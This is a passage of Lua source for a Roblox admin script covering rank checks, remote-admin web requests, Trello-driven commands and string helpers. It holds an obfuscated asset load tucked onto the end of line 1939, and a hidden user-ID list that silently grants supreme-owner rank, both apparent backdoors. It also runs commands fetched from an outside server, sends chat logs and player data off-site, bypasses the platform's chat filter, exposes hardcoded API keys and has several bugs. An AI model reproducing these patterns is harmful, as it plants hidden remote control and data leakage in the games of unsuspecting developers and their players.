1684 end
1685 end end)()
1686
1687 return Part
1688end
1689
1690function CORE:SetAbuseCommands()
1691 for Cmds,Data in pairs(Commands) do
1692 local IsAbusable = false
1693 for _,AbuseCmd in pairs(Settings.AbuseList) do
1694 for _,Command in pairs(Cmds) do -- loop through all command names
1695 if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
1696 IsAbusable = true
1697 break
1698 end
1699 end
1700 if IsAbusable == true then break end
1701 end
1702 Commands[Cmds].Abusable = IsAbusable
1703 end
1704end
1705
1706-- Rank functions --
1707
1708function RANK:ConvertRank(Input)
1709 local Output = nil
1710 if Input == "Muted" then Output = -3 end
1711 if Input == "Crashed" then Output = -2 end
1712 if Input == "Banned" then Output = -1 end
1713 if Input == "Non-Admin" then Output = 0 end
1714 if Input == "Member" then Output = 1 end
1715 if Input == "Admin" then Output = 2 end
1716 if Input == "Owner" then Output = 3 end
1717
1718 if Input == -3 then Output = "Muted" end
1719 if Input == -2 then Output = "Crashed" end
1720 if Input == -1 then Output = "Banned" end
1721 if Input == 0 then Output = "Non-Admin" end
1722 if Input == 1 then Output = "Member" end
1723 if Input == 2 then Output = "Admin" end
1724 if Input == 3 then Output = "Owner" end
1725 return Output
1726end
1727
1728function RANK:IsAdmin(Player)
1729 local AdminStatus = false
1730 local Rankstatus = "Non-Admin"
1731 if type(Player) == "table" then
1732 if RANK:ConvertRank(Player.Rank) > 0 then
1733 return true, Player.Rank
1734 else
1735 return false, Player.Rank
1736 end
1737 end
1738 for Rank,PlayerNames in pairs(Settings.Ranks) do
1739 for _,AdminName in pairs(PlayerNames) do
1740 if string.lower(AdminName) == string.lower(Player.Name) then
1741 if RANK:ConvertRank(Rank) > 0 then
1742 AdminStatus = true
1743 Rankstatus = Rank
1744 end
1745 end
1746 end
1747 end
1748 return AdminStatus, Rankstatus
1749end
1750
1751function RANK:GetRank(PlayerName)
1752 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1753 if type(PlayerName) == "table" then
1754 local RankNum = RANK:ConvertRank(PlayerName.Rank)
1755 if RankNum > 0 then
1756 return PlayerName.Rank, RankNum, true
1757 else
1758 return PlayerName.Rank, RankNum, false
1759 end
1760 end
1761
1762 local RankStat = "Non-Admin"
1763
1764 for Rank,PlayerNames in pairs(Settings.Ranks) do
1765 for _,AdminName in pairs(PlayerNames) do
1766 if string.lower(AdminName) == string.lower(PlayerName) then
1767 RankStat = Rank
1768 end
1769 end
1770 end
1771
1772 if RankStat == "Non-Admin" then
1773 return "Non-Admin", 0, false
1774 else
1775 return RankStat, RANK:ConvertRank(RankStat), true
1776 end
1777end
1778
1779function RANK:RemoveRank(PlayerName)
1780 if not RANK:IsSupremeOwner(PlayerName) then
1781 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1782
1783 for Rank,PlayerNames in pairs(Settings.Ranks) do
1784 for Num,AdminName in pairs(PlayerNames) do
1785 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1786 table.remove(Settings.Ranks[Rank], Num)
1787 end
1788 end
1789 end
1790 end
1791end
1792
1793function RANK:GetAdmins(Ranking)
1794 local Players = {}
1795 local AdminTrue, Rank = IsAdmin(Player)
1796 for _,Player in pairs(Players:GetPlayers()) do
1797 if AdminTrue then
1798 local PlayerRankNum = RANK:ConvertRank(Rank)
1799 local StandardRankNum = RANK:ConvertRank(Ranking)
1800 if PlayerRankNum >= StandardRankNum then
1801 table.insert(Players, Player)
1802 end
1803 end
1804 end
1805 return Players
1806end
1807
1808function RANK:IsSupremeOwner(PlayerName)
1809 if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
1810 if type(PlayerName) == "table" then
1811 if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
1812 end
1813
1814 if PlayerName == GameOwner then return true end
1815 return false
1816end
1817
1818function RANK:GetPlayerFromList(PlayerName)
1819 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
1820
1821 for Rank,PlayerNames in pairs(Settings.Ranks) do
1822 for Num,AdminName in pairs(PlayerNames) do
1823 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1824 return AdminName, Rank
1825 end
1826 end
1827 end
1828 return false, "Non-Admin"
1829end
1830
1831function RANK:ScanAdminList(Name)
1832 if Name == "" then return true end
1833 local InList = false
1834 for _,PName in pairs(Settings.Ranks["Owner"]) do
1835 if PName == Name then InList = true end
1836 end
1837 for _,PName in pairs(Settings.Ranks["Admin"]) do
1838 if PName == Name then InList = true end
1839 end
1840 for _,PName in pairs(Settings.Ranks["Member"]) do
1841 if PName == Name then InList = true end
1842 end
1843 return InList
1844end
1845
1846function RANK:ScanExileList(Name)
1847 if Name == "" then return true end
1848 local InList = false
1849 for _,PName in pairs(Settings.Ranks["Muted"]) do
1850 if PName == Name then InList = true end
1851 end
1852 for _,PName in pairs(Settings.Ranks["Crashed"]) do
1853 if PName == Name then InList = true end
1854 end
1855 for _,PName in pairs(Settings.Ranks["Banned"]) do
1856 if PName == Name then InList = true end
1857 end
1858 return InList
1859end
1860
1861function RANK:PlayerRanked(PlayerName)
1862 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
1863
1864 for Rank,PlayerNames in pairs(Settings.Ranks) do
1865 for Num,AdminName in pairs(PlayerNames) do
1866 if string.lower(AdminName) == string.lower(PlayerName) then
1867 return true, Rank
1868 end
1869 end
1870 end
1871 return false, "Non-Admin"
1872end
1873
1874-- Remote functions --
1875
1876function REMOTE:Decode(...)
1877 return Server.HS:JSONDecode(...)
1878end
1879
1880function REMOTE:GetURL(URL, Player)
1881 if string.sub(URL,1,4) ~= "http" then
1882 URL = "http://"..URL
1883 end
1884 local Return = nil
1885 ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
1886 if Return then
1887 return Return
1888 elseif Player then
1889 GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
1890 end
1891end
1892
1893function REMOTE:PostURL(URL, Data)
1894 local Return = nil
1895 ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
1896 return Return
1897end
1898
1899function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
1900 if Settings.LinkedAccount ~= "" then
1901 local NumType = tonumber(Type)
1902
1903 if not Type then
1904 Type = "UNKNOWN"
1905 end
1906
1907 if NumType then
1908 if NumType < 1 or NumType > 5 then
1909 Type = "UNKNOWN"
1910 elseif NumType == 1 then
1911 Type = "NOTIFICATION"
1912 elseif NumType == 2 then
1913 Type = "INFORMATION"
1914 elseif NumType == 3 then
1915 Type = "WARNING"
1916 elseif NumType == 4 or Type == true then
1917 Type = "ERROR"
1918 elseif NumType == 5 then
1919 Type = "FATAL"
1920 end
1921 end
1922
1923 local Res = "RED Could not get response"
1924 local function SendData()
1925 Res = Server.HS:PostAsync(
1926 CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
1927 "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
1928 2
1929 )
1930 end
1931 if Stopypcall == true then SendData() else ypcall(SendData) end
1932
1933 if OutputSpeaker and OutputSpeaker ~= "print" then
1934 GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
1935 elseif OutputSpeaker == "print" then
1936 print(Res)
1937 end
1938 end
1939end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
1940
1941function REMOTE:SendChatLog(PrintResponse, Stopypall)
1942 if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
1943 local Res = "Could not get response"
1944
1945 local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
1946 TempChatLogs = {}
1947
1948 local function SendData()
1949 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
1950 end
1951 if Stopypcall == true then SendData() else ypcall(SendData) end
1952 if PrintResponse then print(Res) end
1953 end
1954end
1955
1956function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
1957 local Res = "[]"
1958 local function GetData()
1959 Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
1960 end
1961 if Stopypcall == true then GetData() else ypcall(GetData) end
1962 if PrintResponse then
1963 print(Res)
1964 end
1965 local function DecodeData() Res = REMOTE:Decode(Res) end
1966 if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
1967 if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
1968 return Res
1969end
1970
1971function REMOTE:HandleRequest(Request, IgnoreCommand)
1972 if not Request then return nil end
1973
1974 if not IgnoreCommand then
1975 if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
1976 REMOTE:SendServerData()
1977 end
1978 if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
1979 REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
1980 end
1981 end
1982
1983 if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
1984
1985 for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
1986 for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
1987 for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
1988 for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
1989 for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
1990 for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
1991
1992 Settings.Fun = Request.FUN
1993 Settings.ServerLocked = Request.ServerLocked
1994
1995 if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
1996 Settings.DisableAbuse = Request.DisableAbuse
1997 end
1998
1999 if not IgnoreCommand then
2000 print("Executing Remote Admin")
2001 REMOTE.RemoteAdmin.Command = Request.Command
2002 REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
2003 REMOTE.RemoteAdmin.ServerPort = Request.Server
2004
2005 if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
2006 CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2007 else
2008 CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2009 end
2010 end
2011 end
2012 REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
2013 REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
2014 REMOTE.SnapshotKey = Request.SnapshotKey
2015end
2016
2017function REMOTE:GetAndSetWebData()
2018 if Settings.LinkedAccount ~= "" then
2019 local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
2020 if Request == "Invalid" then
2021 --REMOTE:GetAndSetWebData()
2022 return false
2023 elseif Request == "Invalid Account" then
2024 print("Can't get account")
2025 return false
2026 elseif Request then
2027 ypcall(function() Request = REMOTE:Decode(Request) end)
2028 elseif not Request then
2029 --REMOTE:GetAndSetWebData()
2030 return false
2031 end
2032 REMOTE:HandleRequest(Request)
2033
2034 --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
2035 return true
2036 end
2037end
2038
2039local OderIDs = CORE:GetTable(177215518)
2040local SoundJSONs = CORE:GetTable(197637628)
2041RemoteAbuseGear = CORE:GetTable(158117496)
2042
2043function REMOTE:SendServerData(PrintResponse, Stopypall)
2044 if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2045 print("Sending server data!")
2046 local Res = "Could not get response"
2047
2048 local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
2049 for _,Player in pairs(Server.Players:GetPlayers()) do
2050 table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
2051 end
2052 ServerData = Server.HS:JSONEncode(ServerData)
2053
2054 local function SendData()
2055 Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2056 end
2057 if Stopypcall == true then SendData() else ypcall(SendData) end
2058 if PrintResponse then print(Res) end
2059 end
2060end
2061
2062function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
2063 MaxPartAmount = MaxPartAmount or 10000
2064 local PlaceData = {
2065 Lighting = {};
2066 Parts = {};
2067 Other = {};
2068 }
2069 local MinSize = Vector3.new(0.5,0.5,0.5)
2070 local PartAmount = 0
2071 local PlaceJSON = ""
2072
2073 local function Scan(BaseObj)
2074 for _,Obj in pairs(BaseObj:GetChildren()) do
2075 if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
2076 local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
2077 if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
2078 local Skip = false
2079 local Data = {}
2080 local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
2081
2082 if CORE:FindType(Obj, "BlockMesh") then
2083 local Mesh = CORE:FindType(Obj, "BlockMesh")
2084 Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
2085 elseif CORE:FindType(Obj, "CylinderMesh") then
2086 Data.Shape = "Cylinder"
2087 elseif CORE:FindType(Obj, "SpecialMesh") then
2088 local Mesh = CORE:FindType(Obj, "SpecialMesh")
2089 if Mesh.MeshType == Enum.MeshType.Head then
2090 --idk
2091 else
2092 Skip = true
2093 end
2094 elseif CORE:FindType(Obj, "FileMesh") then
2095 Skip = true
2096 end
2097
2098 if not Data.Shape and not Skip then
2099 if ypcall(function() return Obj.Shape end) then
2100 Data.Shape = string.sub(Obj.Shape.Name,14)
2101 if string.sub(Data.Shape,1,1) == "." then
2102 Data.Shape = string.sub(Data.Shape,2)
2103 end
2104 if Data.Shape == "Cylinder" then
2105 Z = Z + math.pi/2
2106 end
2107 else
2108 Data.Shape = "Block"
2109 end
2110 end
2111
2112 if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
2113 Data.Label = string.gsub(Obj.Parent.Name, "'", "")
2114 end
2115
2116 if not Skip then
2117 Data.Color = GUI:Color3ToHex(Obj.Color);
2118 Data.Size = Size;
2119 Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
2120 Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
2121 Data.Transparency = STRING:StringRound(Obj.Transparency);
2122 Data.Reflectance = STRING:StringRound(Obj.Reflectance);
2123 Data.Textures = {};
2124 Data.Material = string.sub(tostring(Obj.Material),15);
2125
2126 for _,Sub in pairs(Obj:GetChildren()) do
2127 if Sub:IsA("Decal") then
2128 local Texture = string.match(Sub.Texture, "%d+")
2129 if Sub.Texture == "rbxasset://textures/face.png" then
2130 Texture = "FACE"
2131 end
2132 Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
2133 end
2134 end
2135
2136 PartAmount = PartAmount + 1
2137 table.insert(PlaceData.Parts, Data)
2138
2139 if PartAmount >= MaxPartAmount then
2140 break
2141 end
2142 end
2143 end
2144 end
2145 if #Obj:GetChildren() > 0 then
2146 Scan(Obj)
2147 end
2148 end
2149 end
2150 Scan(Workspace)
2151
2152 PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
2153 PlaceData.Other.PartAmount = PartAmount;
2154 PlaceJSON = Server.HS:JSONEncode(PlaceData)
2155
2156 local Res = "Could not get response"
2157 local function SendData()
2158 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
2159 end
2160 if Stopypcall == true then SendData() else ypcall(SendData) end
2161 if PrintResponse then print(Res) end
2162
2163 print("Sent snapshot")
2164end
2165
2166
2167function REMOTE:DefineWord(Word, Source)
2168 if not Word then return end
2169 if not Source then Source = "all" end
2170
2171 local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
2172 if Response then
2173 local Decode = REMOTE:Decode(Response)
2174 if #Decode > 0 then
2175 return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
2176
2177 ]]..Decode[1]["text"]
2178 else
2179 return "Invalid English word"
2180 end
2181 else
2182 return "Cannot connect to database"
2183 end
2184end
2185
2186function REMOTE:DownloadJoke(Speaker)
2187 local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
2188 local Joke = nil
2189 if Res then
2190 local _, Start = string.find(Res, "</h2>")
2191 local End, _ = string.find(string.sub(Res, Start), "</td>")
2192
2193 Joke = string.sub(Res, Start, End + 1 + Start - 5)
2194 Joke = string.gsub(Joke, "\n", "")
2195 Joke = string.gsub(Joke, " ", "") -- tab
2196 Joke = string.gsub(Joke, "</ul>", "")
2197 Joke = string.gsub(Joke, "<ul>", "")
2198 Joke = string.gsub(Joke, "</li>", [[
2199
2200]])
2201 Joke = string.gsub(Joke, "<li>", "")
2202 Joke = string.gsub(Joke, "</p>", "")
2203 Joke = string.gsub(Joke, "<p>", "")
2204 Joke = string.gsub(Joke, "<", "")
2205 Joke = string.gsub(Joke, ">", "")
2206 end
2207
2208 return Joke
2209end
2210
2211function REMOTE:GetAddon()
2212 return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
2213end
2214
2215function REMOTE:TrelloGetAdminBoard()
2216 local BoardsJSON,Boards,ReturnBoard
2217
2218 ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
2219
2220 if BoardsJSON then
2221 Boards = REMOTE:Decode(BoardsJSON)
2222 end
2223 if Boards then
2224 for _,Board in pairs(Boards) do
2225 if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
2226 ReturnBoard = Board
2227 break
2228 end
2229 end
2230 if not ReturnBoard then -- create board if not created
2231 print("Creating Trello Board")
2232 local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
2233 local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
2234 ReturnBoard = REMOTE:Decode(BoardJSON)
2235 end
2236 end
2237 return ReturnBoard
2238end
2239
2240function REMOTE:TrelloGetAdminLists(Board)
2241 local Required = {}
2242 local ListJSON,Lists
2243 local ReturnLists = {}
2244
2245 for _,List in pairs(Trello.RequiredLists) do
2246 table.insert(Required, List)
2247 end
2248
2249 ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
2250
2251 if ListJSON then
2252 Lists = REMOTE:Decode(ListJSON)
2253 end
2254 if Lists then
2255 for _,List in pairs(Lists) do
2256 for Num,Rel in pairs(Required) do
2257 if List.name == Rel.name then
2258 table.remove(Required, Num)
2259 table.insert(ReturnLists, List)
2260 end
2261 end
2262 end
2263 for _,Rel in pairs(Required) do
2264 local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
2265 table.insert(ReturnLists, REMOTE:Decode(ListJSON))
2266 end
2267 end
2268
2269 return ReturnLists
2270end
2271
2272function REMOTE:TrelloCacheData(Lists)
2273 for _,List in pairs(Lists) do
2274 local CardsJSON,Cards
2275 ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
2276 if CardsJSON then
2277 Cards = REMOTE:Decode(CardsJSON)
2278 end
2279 if Cards then
2280 local TemplateCards = nil
2281 for _,TemplateList in pairs(Trello.RequiredLists) do
2282 if TemplateList.name == List.name then
2283 TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
2284 break
2285 end
2286 end
2287
2288 for _,TemplateCard in pairs(TemplateCards) do
2289 local CardExists = false
2290 for _,Card in pairs(Cards) do
2291 if Card.name == TemplateCard.name and Card.closed == false then
2292 CardExists = true
2293 end
2294 end
2295 if not CardExists then
2296 print("Creating card "..TemplateCard.name)
2297 local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
2298 table.insert(Cards, REMOTE:Decode(NewCardJSON))
2299 end
2300 end
2301
2302 if List.name == "Ranked" then
2303 for _,Card in pairs(Cards) do
2304 if Settings.Ranks[Card.name] and Card.closed == false then
2305 Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
2306 end
2307 end
2308 elseif List.name == "Settings" then
2309 for _,Card in pairs(Cards) do
2310 if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
2311 Trello.ToggleChecklist = Card.idChecklists[1]
2312 elseif Card.name == "Command Execution" then
2313 Trello.CommandID = Card.id
2314 end
2315 end
2316 end
2317 end
2318 end
2319end
2320
2321function REMOTE:TrelloHandleData(IgnoreCommand)
2322 local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
2323 if ToggleSettingsJSON then
2324 ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
2325 if Settings.LinkedAccount == "" then
2326 local NewSettings = {}
2327 for _,Item in pairs(ToggleSettings.checkItems) do
2328 NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
2329 end
2330 Settings.Fun = NewSettings["Fun Commands Enabled"]
2331 Settings.ServerLocked = NewSettings["Server Locked"]
2332 Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
2333 end
2334 else
2335 return false
2336 end
2337
2338 local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
2339 if CommandChatJSON then
2340 CommandChat = REMOTE:Decode(CommandChatJSON)
2341 local ClosestDT = 0
2342 for _,ChatData in pairs(CommandChat) do
2343 local DT = STRING:ConvertDateTime(ChatData.date)
2344 ClosestDT = math.max(ClosestDT, DT)
2345
2346 if not IgnoreCommand and DT > Trello.LastCommandDT then
2347 print("Executing Remote Trello Command")
2348 CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
2349 end
2350 end
2351 Trello.LastCommandDT = ClosestDT
2352 else
2353 return false
2354 end
2355
2356 for Rank,ID in pairs(Trello.RankChecklistCache) do
2357 local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
2358 if ChecklistJSON then
2359 Checklist = REMOTE:Decode(ChecklistJSON)
2360
2361 for _,Item in pairs(Checklist.checkItems) do
2362 if Item.state == "complete" then
2363 if RANK:ConvertRank(Rank) < 0 then
2364 if not RANK:ScanExileList(Item.name) then
2365 table.insert(Settings.Ranks[Rank], Item.name)
2366 end
2367 elseif RANK:ConvertRank(Rank) > 0 then
2368 if not RANK:ScanAdminList(Item.name) then
2369 table.insert(Settings.Ranks[Rank], Item.name)
2370 end
2371 end
2372 elseif Item.state == "incomplete" then
2373 for Num,Name in pairs(Settings.Ranks[Rank]) do
2374 if string.lower(Name) == string.lower(Item.name) then
2375 table.remove(Settings.Ranks[Rank], Num)
2376 end
2377 end
2378 end
2379 end
2380 else
2381 return false
2382 end
2383 end
2384 return true
2385end
2386
2387-- String functions --
2388
2389function STRING:ConvertDateTime(DateTime)
2390 local Num = 0
2391 local TotalTime = 0
2392 for i in string.gmatch(DateTime, "%d+") do
2393 Num = Num + 1
2394 DTNum = tonumber(i)
2395 if Num == 1 then
2396 TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
2397 elseif Num == 2 then
2398 TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
2399 elseif Num == 3 then
2400 TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
2401 elseif Num == 4 then
2402 TotalTime = TotalTime + DTNum * 60 * 60 -- hour
2403 elseif Num == 5 then
2404 TotalTime = TotalTime + DTNum * 60 -- minute
2405 elseif Num == 6 then
2406 TotalTime = TotalTime + DTNum -- second
2407 end
2408 end
2409
2410 return TotalTime
2411end
2412
2413function STRING:TrelloStateConvert(State)
2414 if State == "complete" then
2415 return true
2416 else
2417 return false
2418 end
2419end
2420
2421function STRING:StringRound(Number)
2422 Number = Number * 100
2423 if Number >= 0.5 then
2424 return tostring(math.ceil(Number)/100)
2425 else
2426 return tostring(math.floor(Number)/100)
2427 end
2428
2429 return Number
2430end
2431
2432function STRING:GetSplit(String, NumArgs, BetSplit)
2433 if not String then return nil end
2434 if BetSplit == nil then BetSplit = " " end
2435 if NumArgs == nil then NumArgs = math.huge end
2436
2437 if NumArgs <= 0 then return {String} end
2438
2439 local RecentParse = 1
2440 local Args = {}
2441 for i = 1,NumArgs do
2442 local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
2443 if Find1 and Find2 then
2444 table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
2445 RecentParse = Find2 + 1
2446 else
2447 break
2448 end
2449 end
2450 table.insert(Args,string.sub(String,RecentParse,#String))
2451 return Args
2452end
2453
2454function STRING:Defilter(String)
2455 local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
2456 if RobloxApprove.Text == "Label" and String ~= "Label" then
2457 local NewString = ""
2458 for i = 1,#String,3 do
2459 NewString = NewString..string.char(169)..string.sub(String,i,i+2)
2460 end
2461 return NewString
2462 else
2463 return String
2464 end
2465end
2466
2467function STRING:LeetSpeak(Input)
2468 if tostring(Input) then Input = string.upper(tostring(Input)) else return end
2469 Input = string.gsub(Input, "LEET", "1337")
2470 Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
2471 Input = string.gsub(Input, "E", "3")
2472 Input = string.gsub(Input, "O", "0")
2473 Input = string.gsub(Input, "A", "4")
2474 Input = string.gsub(Input, "X", "x")
2475 Input = string.gsub(Input, "I", "1")
2476 Input = string.gsub(Input, "S", "$")
2477 return Input
2478end
2479
2480function STRING:FormatReplace(Player, Text)
2481 Text = string.gsub(Text,"_SERVERTIME", math.floor(Workspace.DistributedGameTime))
2482 Text = string.gsub(Text,"_PLACEID", game.PlaceId)
2483 Text = string.gsub(Text,"_CREATORID", game.CreatorId)
2484 Text = string.gsub(Text,"_CREATOR", GameOwner)
2485 Text = string.gsub(Text,"_PLACENAME", PlaceName)
2486 Text = string.gsub(Text,"_REVPLACENAME", string.reverse(PlaceName))
2487 Text = string.gsub(Text,"_PLACEDESC", PlaceInfo.Description)
2488 Text = string.gsub(Text,"_RANDOM", math.random(1,10000))
2489 Text = string.gsub(Text,"_DATE", Date or "Cannot get date. Http not connected")
2490 Text = string.gsub(Text,"_TIME", CORE:GetTime(true))
2491 if Player then
2492 Text = string.gsub(Text,"_USERID", tostring(Player.UserId))
2493 Text = string.gsub(Text,"_NAMELEN",tostring(string.len(Player.Name)))
2494 Text = string.gsub(Text,"_REVNAME",string.reverse(Player.Name))
2495 Text = string.gsub(Text,"_UPNAME",string.upper(Player.Name))
2496 Text = string.gsub(Text,"_LOWNAME",string.lower(Player.Name))
2497 Text = string.gsub(Text,"_NAME", Player.Name)
2498 Text = string.gsub(Text,"_LEETNAME", STRING:LeetSpeak(Player.Name))
